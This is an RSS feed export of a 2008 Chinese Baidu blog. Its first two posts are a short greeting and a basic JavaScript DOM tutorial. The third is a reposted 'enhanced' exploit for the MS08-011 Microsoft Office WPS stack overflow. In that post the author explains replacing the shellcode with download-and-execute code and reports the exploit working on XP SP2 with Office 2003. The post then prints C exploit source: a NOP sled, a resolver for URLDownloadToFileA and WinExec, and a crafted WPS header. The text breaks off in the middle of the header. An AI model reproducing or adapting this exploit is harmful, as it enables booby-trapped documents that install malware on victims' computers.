<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[小小草的百度空间]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[做一个默默无闻的小小草]]></description>
<link>http://hi.baidu.com/stealthwalker</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[试用baidu hi，想交流的请加我]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/785fcb384025a5c6d5622588.html]]></link>
        <description><![CDATA[
		
		感谢发邀请给我的朋友，试用了一下，感觉不错。有想交流的朋友请加我，谢谢 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Gossip">Gossip</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/785fcb384025a5c6d5622588.html#comment">查看评论</a>]]></description>
        <pubDate>2008-03-30  10:04</pubDate>
        <category><![CDATA[Gossip]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/785fcb384025a5c6d5622588.html</guid>
</item>

<item>
        <title><![CDATA[getElementByID、createElement、appendChild几个DHTML元素]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/9a60008b3b4d3516c8fc7ab7.html]]></link>
        <description><![CDATA[
		
		from lcx's blog<br>
<br>
WEB标准下可以通过getElementById(), getElementsByName(), and getElementsByTagName()访问DOCUMENT中的任一个标签： <br>
<br>
1、getElementById()<br>
getElementById()可以访问DOCUMENT中的某一特定元素，顾名思义，就是通过ID来取得元素，所以只能访问设置了ID的元素。<br>
比如说有一个DIV的ID为docid：<br>
&lt;div id=&quot;docid&quot;&gt;&lt;/div&gt;<br>
那么就可以用getElementById(&quot;docid&quot;)来获得这个元素。<br>
<br>
<br>
&lt;html&gt;<br>
&lt;head&gt;<br>
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;<br>
&lt;title&gt;ById&lt;/title&gt;<br>
&lt;style type=&quot;text/css&quot;&gt;<br>
&lt;!--<br>
#docid{<br>
height:400px;<br>
width:400px;<br>
background-color:#999;}<br>
--&gt;<br>
&lt;/style&gt;<br>
&lt;/head&gt;<br>
&lt;body&gt;&lt;div id=&quot;docid&quot; name=&quot;docname&quot; onClick=&quot;bgcolor()&quot;&gt;&lt;/div&gt;<br>
&lt;/body&gt;<br>
&lt;/html&gt;<br>
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;<br>
&lt;!--<br>
function bgcolor(){<br>
document.getElementById(&quot;docid&quot;).style.backgroundColor=&quot;#000&quot;<br>
}<br>
--&gt;<br>
&lt;/script&gt;<br>
、getElementsByName()<br>
这个是通过NAME来获得元素，但不知大家注意没有，这个是GET　ELEMENTS，复数ELEMENTS代表获得的不是一个元素，为什么呢？<br>
因为DOCUMENT中每一个元素的ID是唯一的，但NAME却可以重复。打个比喻就像人的身份证号是唯一的（理论上，虽然现实中有重复），但名字<br>
<br>
重复的却很多。如果一个文档中有两个以上的标签NAME相同，那么getElementsByName()就可以取得这些元素组成一个数组。<br>
<br>
比如有两个DIV：<br>
&lt;div name=&quot;docname&quot; id=&quot;docid1&quot;&gt;&lt;/div&gt;<br>
&lt;div name=&quot;docname&quot; id=&quot;docid2&quot;&gt;&lt;/div&gt;<br>
那么可以用getElementsByName(&quot;docname&quot;)获得这两个DIV，用getElementsByName(&quot;docname&quot;)[0]访问第一个DIV，用getElementsByName<br>
<br>
<br>
3、getElementsByTagName()<br>
这个呢就是通过TAGNAME（标签名称）来获得元素，一个DOCUMENT中当然会有相同的标签，所以这个方法也是取得一个数组。<br>
下面这个例子有两个DIV，可以用getElementsByTagName(&quot;div&quot;)来访问它们，用getElementsByTagName(&quot;div&quot;)[0]访问第一个DIV，用<br>
<br>
getElementsByTagName(&quot;div&quot;)[1]访问第二个DIV。<br>
<br>
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br>
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br>
&lt;head&gt;<br>
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;<br>
&lt;title&gt;Byname,tag&lt;/title&gt;<br>
&lt;style type=&quot;text/css&quot;&gt;<br>
&lt;!--<br>
#docid1,#docid2{<br>
margin:10px;<br>
height:400px;<br>
width:400px;<br>
background-color:#999;}<br>
--&gt;<br>
&lt;/style&gt;<br>
&lt;/head&gt;<br>
&lt;body&gt;<br>
&lt;div name=&quot;docname&quot; id=&quot;docid1&quot; onClick=&quot;bgcolor()&quot;&gt;&lt;/div&gt;<br>
&lt;div name=&quot;docname&quot; id=&quot;docid2&quot; onClick=&quot;bgcolor()&quot;&gt;&lt;/div&gt;<br>
&lt;/body&gt;<br>
&lt;/html&gt;<br>
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;<br>
&lt;!--<br>
function bgcolor(){<br>
var docnObj=document.getElementsByTagName(&quot;div&quot;);<br>
docnObj[0].style.backgroundColor = &quot;black&quot;;<br>
docnObj[1].style.backgroundColor = &quot;black&quot;;<br>
}<br>
--&gt;<br>
&lt;/script&gt;<br>
总结一下标准DOM，访问某一特定元素尽量用标准的getElementById()，访问标签用标准的getElementByTagName(),但IE不支持<br>
<br>
getElementsByName()，所以就要避免使用getElementsByName()，但getElementsByName()和不符合标准的document.all[]也不是全无是处，它<br>
<br>
们有自己的方便之处，用不用那就看网站的用户使用什么浏览器，由你自己决定了。<br>
<br>
Javascript中的getElementById十分常用，但在标准的页面中，一个id只能出现一次，如果我想同时控制多个元素，例如点一个链接， 让多个层隐藏，该怎么做？用class，当然，同一个class是可以允许在页面中重复出现的，那么有没有getElementByClass呢？没有， 但是可以解决： <br>
<br>
//Create an array <br>
var allPageTags = new Array(); <br>
<br>
function hideDivWithClasses(theClass) {<br>
//Populate the array with all the page tags<br>
var allPageTags=document.getElementsByTagName(&quot;div&quot;);<br>
//Cycle through the tags using a for loop<br>
for (i=0; i//Pick out the tags with our class name<br>
if (allPageTags[i].className==theClass) {<br>
//Manipulate this in whatever way you want<br>
allPageTags[i].style.display='none';<br>
}<br>
}<br>
}<br>
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br>
<br>
appendChild方法的使用<br>
&lt;html&gt;<br>
&lt;head&gt;<br>
&nbsp;&nbsp;  &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;<br>
&nbsp;&nbsp;  &lt;title&gt;无标题文档&lt;/title&gt;<br>
&lt;/head&gt;<br>
&lt;script language=&quot;javascript&quot;&gt;<br>
//生成与输入内容匹配行<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  function setNames() {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  completeBody = document.getElementById(&quot;complete_body&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  var row, cell, txtNode;<br>
&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //var nextNode = names[i].firstChild.data;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  row = document.createElement(&quot;tr&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cell = document.createElement(&quot;td&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cell.setAttribute(&quot;bgcolor&quot;, &quot;#FFFAFA&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cell.setAttribute(&quot;border&quot;, &quot;0&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //txtNode = document.createTextNode(nextNode);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  alert(&quot;sdf&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  var newText = document.createTextNode(&quot;This is the second paragraph.&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //txtNode=document.createElement(&quot;div&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  alert(&quot;sdf1&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cell.appendChild(newText);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  alert(&quot;sdf2&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  row.appendChild(cell);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  completeBody.appendChild(row);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
&lt;/script&gt;<br>
&lt;body&gt;<br>
&lt;input type=&quot;submit&quot; name=&quot;sdf&quot; onclick=&quot;setNames()&quot;&gt;<br>
&nbsp;&nbsp;  &lt;table id=&quot;complete_table&quot; bgcolor=&quot;#FFFAFA&quot; border=&quot;0&quot;<br>
&nbsp;&nbsp;&nbsp;  cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; /&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tbody id=&quot;complete_body&quot;&gt;&lt;/tbody&gt;<br>
&nbsp;&nbsp;  &lt;/table&gt;<br>
&lt;/body&gt;<br>
&lt;/html&gt;<br>
<br>
<br>
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ <br>
<br>
createElement<br>
<br>
&lt;html&gt; <br>
&lt;head&gt; <br>
&lt;title&gt;createElement&lt;/title&gt; <br>
&lt;script language=&quot;javascript&quot;&gt; <br>
&lt;!-- <br>
var i=0 ; <br>
<br>
function addInput() { <br>
var o = document.createElement(&quot;input&quot;); <br>
o.type = &quot;button&quot; ; <br>
o.value = &quot;按钮&quot; + i++ ; <br>
o.attachEvent(&quot;onclick&quot;,addInput); <br>
document.body.appendChild(o); <br>
o = null; <br>
} <br>
//--&gt; <br>
&lt;/script&gt; <br>
&lt;/head&gt; <br>
&lt;body onload=&quot;addInput();&quot;&gt; <br>
&lt;/body&gt; <br>
&lt;/html&gt; 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/9a60008b3b4d3516c8fc7ab7.html#comment">查看评论</a>]]></description>
        <pubDate>2008-02-18  10:27</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/9a60008b3b4d3516c8fc7ab7.html</guid>
</item>

<item>
        <title><![CDATA[[原创] Microsoft Office .WPS Exploit (MS08-011)mika修改加强版]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/50795a38ce076320b8998fca.html]]></link>
        <description><![CDATA[
		
		文章作者：mika<br>
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）<br>
<br>
  前两天就看到这个exp了，漏洞本身俺就不多说了，非常简单的栈溢出，exp都给了用od或者windbg跟一下就出来了，这里俺要非常感谢gyzy哥哥对俺的帮助，当俺一拿到exp的时候就非常庆幸，感觉会很容易修改（事实也是如此），于是俺就修改了ret地址，然后把俺原来用的shellcode（下载执行的）替换exp里执行calc的，但是没有成功，word一闪而过，也没报错也没下载。然后再看了看原exp的shellcode，发现是alpha2编码过的，于是俺想当然的以为俺的shellcode也得编码，可是编码发现还是不能运行而且出现错误了，俺单独把编码过的shellcode拿出来执行却能成功，百思不得其解不得不求助俺bf，他让俺自己去找人请教，俺只好上qq求助gyzy哥哥了，哥哥就是哥哥啊，说shellcode有问题于是给了俺一个lion牛牛写的那个经典的下载执行的shellcode，俺换上去一试果然就行了。痛苦啊！~~~在此向gyzy还有lion哥哥们致敬！:smile: <br>
<br>
 关于这个漏洞的测试俺需要说明一下，漏洞是因为office在打开wps格式的文件进行转换时出现了漏洞，所以需要安装转换器。不过我在安装office 2003的时候默认是安装了转换器的<br>
。测试的时候先打开offie然后选择生成好的.wps文件即可（或者右键单击生成好的文件然后选择用winword打开）。<br>
我添加了对简体中文和繁体中文系统的支持，在windows xp sp2+microsot office 2003 sp2上测试成功！<br>
<br>
代码俺放在这里，非常简单：<br>
[code]<br>
#include &lt;stdio.h&gt;<br>
#include &lt;winsock2.h&gt;<br>
#include &lt;windows.h&gt;<br>
<br>
<br>
#pragma comment(lib, &quot;ws2_32&quot;)<br>
<br>
#define NOPS &quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;<br>
// Use for find the ASM code<br>
#define PROC_BEGIN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  __asm _emit 0x90 __asm _emit 0x90\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  __asm _emit 0x90 __asm _emit 0x90\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  __asm _emit 0x90 __asm _emit 0x90\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  __asm _emit 0x90 __asm _emit 0x90<br>
#define PROC_END&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  PROC_BEGIN<br>
#define SEARCH_STR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;<br>
#define SEARCH_LEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  8<br>
#define MAX_SC_LEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  2048<br>
#define HASH_KEY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  13<br>
<br>
// Define Decode Parameter<br>
#define DECODE_LEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  21<br>
#define SC_LEN_OFFSET&nbsp;&nbsp;&nbsp;&nbsp;  7<br>
#define ENC_KEY_OFFSET&nbsp;&nbsp;&nbsp;  11<br>
#define ENC_KEY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0x99<br>
<br>
<br>
// Define Function Addr<br>
#define ADDR_LoadLibraryA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  [esi]<br>
#define ADDR_GetSystemDirectoryA&nbsp;&nbsp;  [esi+4]<br>
#define ADDR_WinExec&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  [esi+8]<br>
#define ADDR_ExitProcess&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  [esi+12]<br>
#define ADDR_URLDownloadToFileA&nbsp;&nbsp;&nbsp;  [esi+16]<br>
//#define ADDR_URL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  edi<br>
<br>
// Need functions<br>
unsigned char functions[100][128] =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // [esi] stack layout<br>
  // kernel32 4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // 00 kernel32.dll<br>
  {&quot;LoadLibraryA&quot;},&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //&nbsp;&nbsp;  [esi]<br>
  {&quot;GetTempPathA&quot;},&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //&nbsp;&nbsp;  [esi+4]{&quot;GetSystemDirectoryA&quot;}<br>
  {&quot;WinExec&quot;},&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //&nbsp;&nbsp;  [esi+8]&nbsp;&nbsp;&nbsp;&nbsp;  <br>
  {&quot;ExitProcess&quot;},&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //&nbsp;&nbsp;  [esi+12]<br>
  //(&quot;ExitThread&quot;},<br>
  //{&quot;TerminateProcess&quot;},<br>
  // urlmon 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // 01 urlmon.dll<br>
  {&quot;URLDownloadToFileA&quot;},&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //&nbsp;&nbsp;  [esi+16] <br>
  {&quot;&quot;},<br>
};<br>
 <br>
/* WPS Header */<br>
unsigned char uszWpsHeader[] =<br>
&quot;\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x3e\x00\x03\x00\xfe\xff\x09\x00&quot;<br>
&quot;\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00&quot;<br>
&quot;\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00&quot;<br>
&quot;\x01\x00\x00\x00\xfe\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xfd\xff\xff\xff\xfe\xff\xff\xff\xfe\xff\xff\xff\x04\x00\x00\x00&quot;<br>
&quot;\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00&quot;<br>
&quot;\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\x52\x00\x6f\x00\x6f\x00\x74\x00\x20\x00\x45\x00\x6e\x00\x74\x00&quot;<br>
